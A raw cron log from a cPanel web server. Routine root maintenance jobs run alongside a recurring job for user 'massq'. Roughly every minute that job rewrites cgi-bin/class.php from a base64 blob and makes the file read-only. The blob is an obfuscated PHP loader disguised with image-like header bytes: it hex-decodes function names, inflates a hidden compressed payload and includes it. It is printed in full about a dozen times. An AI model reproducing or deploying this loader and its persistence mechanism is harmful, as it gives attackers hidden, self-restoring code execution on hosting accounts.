Sep  8 05:40:01 server CROND[5368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:40:01 server CROND[5370]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 05:40:01 server CROND[5371]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 05:40:01 server CROND[5372]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 05:40:01 server CROND[5374]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 05:40:01 server CROND[5375]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:40:01 server CROND[5378]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 05:40:01 server CROND[5377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:41:01 server CROND[6212]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:41:01 server CROND[6213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:41:01 server CROND[6214]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:42:01 server CROND[6856]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 05:42:01 server CROND[6855]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:42:01 server CROND[6857]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:42:01 server CROND[6858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:43:01 server CROND[7251]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:43:01 server CROND[7252]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:43:01 server CROND[7253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:44:01 server CROND[7636]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:44:01 server CROND[7637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:44:01 server CROND[7638]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:45:01 server CROND[8028]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:45:01 server CROND[8034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:45:01 server CROND[8037]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 05:45:01 server CROND[8039]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 05:45:01 server CROND[8040]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 05:45:01 server CROND[8041]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 05:45:01 server CROND[8036]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:46:01 server CROND[8873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:46:01 server CROND[8874]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:46:01 server CROND[8875]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:47:01 server CROND[9371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:47:01 server CROND[9372]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:47:01 server CROND[9373]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:48:01 server CROND[9772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:48:01 server CROND[9773]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:48:01 server CROND[9774]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:49:01 server CROND[10242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:49:01 server CROND[10243]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:49:01 server CROND[10244]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:50:01 server CROND[10674]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 05:50:01 server CROND[10677]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 05:50:01 server CROND[10678]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:50:01 server CROND[10679]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 05:50:01 server CROND[10680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:50:01 server CROND[10681]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 05:50:01 server CROND[10682]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 05:50:01 server CROND[10684]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 05:50:01 server CROND[10683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:51:01 server CROND[11525]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:51:01 server CROND[11526]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
